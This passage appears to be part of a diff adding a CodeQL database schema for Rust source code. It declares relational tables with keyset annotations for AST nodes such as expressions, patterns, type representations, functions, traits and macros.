@assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_expandeds( + int id: @macro_call ref, + int expanded: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] 